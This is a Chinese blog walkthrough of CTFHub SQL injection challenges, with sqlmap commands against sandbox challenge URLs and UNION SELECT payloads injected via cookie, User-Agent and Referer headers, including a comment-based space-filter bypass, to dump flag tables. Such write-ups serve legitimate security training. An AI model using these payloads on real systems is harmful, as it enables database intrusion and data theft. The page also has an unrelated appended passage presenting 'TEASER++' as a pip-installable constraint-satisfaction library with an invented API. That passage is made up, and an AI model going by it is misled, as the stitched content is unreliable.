CTFHub~SQL注入【MySQL结构+Cookie注入+UA注入+Refer注入+过滤空格】

在这里插入图片描述

0x05时间盲注

我们还是继续来用sqlmap来爆数据库。

# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" --current-db --batch

image-20240812195459392

# 查看数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli --tables --batch

image-20240812195711190

# 查看数据库中flag表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --columns --batch

image-20240812195957592

# 查看当前数据库中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --dump --batch

image-20240812200413373

0x06MySQL结构

# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --current-db --batch

image-20240812200756762

# 查询数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -D sqli --tables

image-20240812200907179

# 查看news表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee  --columns

image-20240812201126226

# 查看数据库中所有的数据
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee  --dump

image-20240812201224396

0x07Cookie注入

这道题我们需要通过抓包来对cookie进行操作,来完成任务

# 通过抓包查看回显位置
1 union select 1,2

image-20240812201706823

# 查看数据库名
-1 union select 1,database()

image-20240812201848577

# 查看数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

image-20240812202021305

# 查询vccdkaqxbl表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='vccdkaqxbl'

image-20240812202223402

# 查询数据库中的数据
-1 union select 1,group_concat(llhlayzpdh) from sqli.vccdkaqxbl

image-20240812202443114

0x08UA注入

# 通过抓包来爆数据库
-1 union select l,group_concat(schema_name) from information_schema.schemata

image-20240812203102491

# 爆数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = sqli

image-20240812203157552

# 爆数据库中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'bkoqrywcto'

image-20240812203416822

# 爆数据库中所有的数据
-1 union select 1,group_concat(fhlxjtkdeg) from bkoqrywcto

image-20240812203624560

0x09Refer注入

# 这道题我们是用hackbar来做

image-20240812204427924

# 查询数据库
-1 union select 1,database()

image-20240812205323477

# 查询数据库中的表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

image-20240812205418741

# 查询表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='wdpqevdhte'

image-20240812205525888

# 查询数据库中的所有数据
-1 union select 1,group_concat(ihwswrmydd) from wdpqevdhte

image-20240812205650584

0x0a过滤空格

这道题空格被过滤了,所以我们使用/**/来过滤

# 查询数据库名
-1/**/union/**/select/**/1,database()

image-20240812205908805

# 查询数据库中的表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

image-20240812210352096

# 查询数据库中表的字段
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='cppznyhepg'

image-20240812210459145

# 查询表中的所有数据
-1/**/union/**/select/**/1,group_concat(xcsvxeovdc)/**/from/**/cppznyhepg

image-20240812210601076
好小子,离成功又近一步!!!

  • 7
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
TEASER++ is a Python library for creating and solving constraint satisfaction problems (CSPs). It provides a convenient way to define variables, domains, and constraints, and allows you to find solutions that satisfy all the given constraints. To get started with TEASER++, you can follow these steps: 1. Install TEASER++ by running `pip install teaserpp`. 2. Import the necessary modules in your Python script: ```python from teaserpp import Constraint, Domain, Problem, Variable ``` 3. Create variables using the `Variable` class and specify their domains using the `Domain` class: ```python x = Variable("x", Domain(range(1, 10))) y = Variable("y", Domain(range(1, 10))) ``` 4. Define constraints using the `Constraint` class. You can use various operators like `==`, `!=`, `<`, `>`, `<=`, `>=`, and logical operators like `&` (and), `|` (or), and `~` (not): ```python constraint = Constraint(x != y) ``` 5. Create a problem instance using the `Problem` class and add variables and constraints to it: ```python problem = Problem() problem.add_variable(x) problem.add_variable(y) problem.add_constraint(constraint) ``` 6. Solve the problem using the `solve()` method: ```python solutions = problem.solve() ``` 7. Iterate over the solutions to retrieve the values of variables that satisfy the constraints: ```python for solution in solutions: print(solution[x], solution[y]) ``` This is just a basic overview of TEASER++. You can refer to the official documentation for more details and advanced usage. Please note that the above information is based on my understanding of TEASER++ as of now. If there are any specific details or updates you would like to know, please let me know!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值